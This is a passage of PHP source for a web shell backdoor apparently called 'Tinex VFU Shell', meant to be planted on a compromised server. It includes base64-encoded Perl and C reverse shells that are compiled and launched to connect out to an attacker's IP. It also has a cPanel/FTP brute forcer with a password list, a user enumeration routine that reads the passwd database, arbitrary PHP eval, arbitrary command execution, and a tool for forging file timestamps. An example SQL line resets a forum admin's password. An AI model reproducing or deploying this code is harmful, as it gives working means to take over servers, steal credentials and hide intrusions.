if ($tablename && $doing == 'drop') {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m('Drop table of success');
$tablename = '';
} else {
m(mysql_error());
}
}
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Manager'));
makehide('action','sqladmin');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?php
// SQL
formhead(array('name'=>'recordlist'));
makehide('doing');
makehide('action','sqladmin');
makehide('base64');
makehide('tablename');
p($dbform);
formfoot();
// Data
formhead(array('name'=>'setdbname'));
makehide('action','sqladmin');
p($dbform);
if (!$dbname) {
makehide('dbname');
}
formfoot();
formhead(array('name'=>'settable'));
makehide('action','sqladmin');
p($dbform);
makehide('tablename');
makehide('page',$page);
makehide('doing');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page - 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
// get mysql server
$mysqlver = mysql_get_server_info();
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
// Show database
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
while($db = mysql_fetch_array($query)) {
$dbs[$db['Database']] = $db['Database'];
}
makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
$tabledb = array();
if ($dbname) {
p('<p>');
p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
if ($tablename) {
p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
}
p('</p>');
mysql_select_db($dbname);
$getnumsql = '';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p('<form action="'.$self.'" method="POST">');
p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
makehide('tablename', $tablename);
makehide('action','sqladmin');
p($dbform);
p('</form>');
if ($tablename || ($runquery && $sql_query)) {
if ($doing == 'structure') {
$result = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Field</td>');
p('<td>Type</td>');
p('<td>Null</td>');
p('<td>Key</td>');
p('<td>Default</td>');
p('<td>Extra</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td>'.$row['Field'].'</td>');
p('<td>'.$row['Type'].'</td>');
p('<td>'.$row['Null'].' </td>');
p('<td>'.$row['Key'].' </td>');
p('<td>'.$row['Default'].' </td>');
p('<td>'.$row['Extra'].' </td>');
p('</tr>');
}
tbfoot();
} elseif ($doing == 'insert' || $doing == 'edit') {
$result = q('SHOW COLUMNS FROM '.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == 'insert') {
p('<h2>Insert new line in '.$tablename.' table »</h2>');
} else {
p('<h2>Update record in '.$tablename.' table »</h2>');
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p('<form method="post" action="'.$self.'">');
p($dbform);
makehide('action','sqladmin');
makehide('tablename',$tablename);
p('<table border="0" cellpadding="3" cellspacing="0">');
foreach ($rowdb as $row) {
if ($rs[$row['Field']]) {
$value = htmlspecialchars($rs[$row['Field']]);
} else {
$value = '';
}
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
}
if ($doing == 'insert') {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
} else {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
makehide('base64', $base64);
}
p('</table></form>');
} else {
$querys = @explode(';',$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p('<h2>Error : '.mysql_error().'</h2>');
break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
if ($allowedit) p('<td>Action</td>');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)</span></td>");
}
p('</tr>');
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
$where = $tmp = $b1 = '';
foreach($mn as $key=>$inside){
if ($inside) {
$where .= $tmp.$key."='".addslashes($inside)."'";
$tmp = ' AND ';
}
$b1 .= '<td nowrap>'.html_clean($inside).' </td>';
}
$where = base64_encode($where);
if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
p($b1);
p('</tr>');
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p('<h2>affected rows : <b>'.$ar.'</b></h2>');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table['Data_length'];
$table_rows = $table_rows + $table['Rows'];
$table['Data_length'] = sizecount($table['Data_length']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p('<table border="0" cellpadding="0" cellspacing="0">');
p('<form action="'.$self.'" method="POST">');
makehide('action','sqladmin');
p($dbform);
p('<tr class="head">');
p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('</tr>');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
p('<td>'.$table['Rows'].'</td>');
p('<td>'.$table['Data_length'].'</td>');
p('<td>'.$table['Create_time'].'</td>');
p('<td>'.$table['Update_time'].'</td>');
if ($highver) {
p('<td>'.$table['Engine'].'</td>');
p('<td>'.$table['Collation'].'</td>');
}
p('</tr>');
}
p('<tr class=fout>');
p('<td> </td>');
p('<td>Total tables: '.$table_num.'</td>');
p('<td>'.$table_rows.'</td>');
p('<td>'.$data_size.'</td>');
p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
p('</tr>');
p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
makehide('doing','backupmysql');
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}//end sql backup
elseif ($action == 'backconnect') {
!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
!$yourport && $yourport = '12345';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
cf('/tmp/angel_bc',$back_connect);
$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
cf('/tmp/angel_bc.c',$back_connect_c);
$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/angel_bc.c');
$res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}
formhead(array('title'=>'Back Connect'));
makehide('action','backconnect');
p('<p>');
p('Your IP:');
makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
p('Your Port:');
makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
p('Use:');
makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
}//end backconnect window via NC
// Brute
elseif ($action == 'brute') {
formhead(array('title'=>'Brute Forcer'));
makehide('action','brute');
makehide('dir',$brute);
@ini_set('memory_limit', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];
$passlist = "0123456
01234567
012345678
0123456789
01234567890
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin
administrator
admincp
cpanel
adminx
admins
password
passwords
passw0rd
p@ssw0rd
p@ssword
khongco
25251325
passw0rds";
if($target == ''){
$target = 'localhost';
}
print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
<tr>
<td align='center'>
<b>Username</b></td>
<td>
<p align='center'>
<b>Password</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
$i = 0;
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vba_etcpwd) = each($line)){
echo "".$vba_etcpwd."\n";
break;
}
}
$i++;
}
echo "
</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
<br>
<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
</td></tr></table></td></tr></form><p align= 'left'>";
?>
<?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
p("<b>[ [email protected] ]# </b>
<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
}
curl_close($ch);}
function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
p("<b>[ [email protected] ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
if(isset($submit) && !empty($submit)){
$userlist = explode ("\n" , $users );
$passlist = explode ("\n" , $pass );
p('<b>[ [email protected] ]# Attacking ...</font></b><br>');
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
}
formfoot();
}
elseif ($action == 'etcpwd') {
formhead(array('title'=>'Get /etc/passwd'));
makehide('action','etcpwd');
makehide('dir',$nowpath);
$i = 0;
echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vba_etcpwd) = each($line)){
echo "".$vba_etcpwd."\n";
break;
}
}
$i++;
}
echo "</textarea></p>";
formfoot();
}
elseif ($action == 'eval') {
$phpcode = trim($phpcode);
if($phpcode){
if (!preg_match('#<\?#si', $phpcode)) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval("?".">$phpcode<?");
}
formhead(array('title'=>'Eval PHP Code'));
makehide('action','eval');
maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
formfooter();
}//end eval
elseif ($action == 'editfile') {
if(file_exists($opfile)) {
$fp=@fopen($opfile,'r');
$contents=@fread($fp, filesize($opfile));
@fclose($fp);
$contents=htmlspecialchars($contents);
}
formhead(array('title'=>'Create / Edit File'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
formfooter();
}//end editfile
elseif ($action == 'newtime') {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
formhead(array('title'=>'Clone file was last modified time'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
formfooter();
formhead(array('title'=>'Set last modified'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
p('<p>Instead »');
p('year:');
makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
p('month:');
makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
p('day:');
makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
p('hour:');
makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
p('minute:');
makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
p('second:');
makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
p('</p>');
formfooter();
}//end newtime
elseif ($action == 'shell') {
if (IS_WIN && IS_COM) {
if($program && $parameter) {
$shell= new COM('Shell.Application');
$a = $shell->ShellExecute($program,$parameter);
m('Program run has '.(!$a ? 'success' : 'fail'));
}
!$program && $program = 'c:\windows\system32\cmd.exe';
!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
formhead(array('title'=>'Execute Program'));
makehide('action','shell');
makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
p('<p>');
makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
}
formhead(array('title'=>'Execute Command'));
makehide('action','shell');
if (IS_WIN && IS_COM) {
$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
}
p('<p>');
makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
if ($command) {
p('<hr width="100%" noshade /><pre>');
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo(execute($command));
}
p('</pre>');
}
}//end shell
elseif ($action == 'phpenv') {
$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
!$dis_func && $dis_func = 'No';
$info = array(
1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2 => array('Server Domain',$_SERVER['SERVER_NAME']),
3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
4 => array('Server OS',PHP_OS),
5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
8 => array('PHP run mode',strtoupper(php_sapi_name())),
9 => array('The file path',__FILE__),
10 => array('PHP Version',PHP_VERSION),
11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
12 => array('Safe Mode',getcfg('safe_mode')),
13 => array('Administrator',$adminmail),
14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
15 => array('enable_dl',getcfg('enable_dl')),
16 => array('display_errors',getcfg('display_errors')),
17 => array('register_globals',getcfg('register_globals')),
18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
19 => array('memory_limit',getcfg('memory_limit')),
20 => array('post_max_size',getcfg('post_max_size')),
21 => array('upload_max_filesize',$upsize),
22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
23 => array('disable_functions',$dis_func),
);
if($phpvarname) {
m($phpvarname .' : '.getcfg($phpvarname));
}
formhead(array('title'=>'Server environment'));
makehide('action','phpenv');
makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
formfooter();
$hp = array(0=> 'Server', 1=> 'PHP');
for($a=0;$a<2;$a++) {
p('<h2>'.$hp[$a].' »</h2>');
p('<ul class="info">');
if ($a==0) {
for($i=1;$i<=9;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
} elseif ($a == 1) {
for($i=10;$i<=23;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
}
p('</ul>');
}
}//end phpenv
else {
m('Undefined Action');
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
Copyright (C) 2008-2012 <B></B> - Develop by <a href=http://anti-network.net target=_blank><B>Tinex-VFU </B></a> - <B>- UnderGroup</B> All Rights Reserved.
</div>
</body>
</noscript>
<?php
/*======================================================
Show info shell
======================================================*/
function m($msg) {
echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
echo $msg;
echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
global $admin, $timestamp, $_SERVER;
$key = ($prefix ? $admin['cookiepre'] : '').$key;
$life = $life ? $life : $admin['cookielife'];
$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = '';
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if(($to - $from) < $page && ($to - $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if(($to - $from) < $page && ($to - $from) < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
}
$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
}
return $multipage;
}
// Login page
function loginpage() {
?>
<html>
<head>
<body bgcolor=black background=1.jpg>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>.::[ Tinex VFU Shell ]::. </title>
<style type="text/css">
A:link {text-decoration: none; color: green }
A:visited {text-decoration: none;color:red}
A:active {text-decoration: none}
A:hover {text-decoration: underline; color: green;}
input, textarea, button
{
font-size: 11pt;
color: #FFFFFF;
font-family: verdana, sans-serif;
background-color: #000000;
border-left: 2px dashed #8B0000;
border-top: 2px dashed #8B0000;
border-right: 2px dashed #8B0000;
border-bottom: 2px dashed #8B0000;
}
</style>
<BR><BR>
<div align=center >
<div>
<font color=gray>
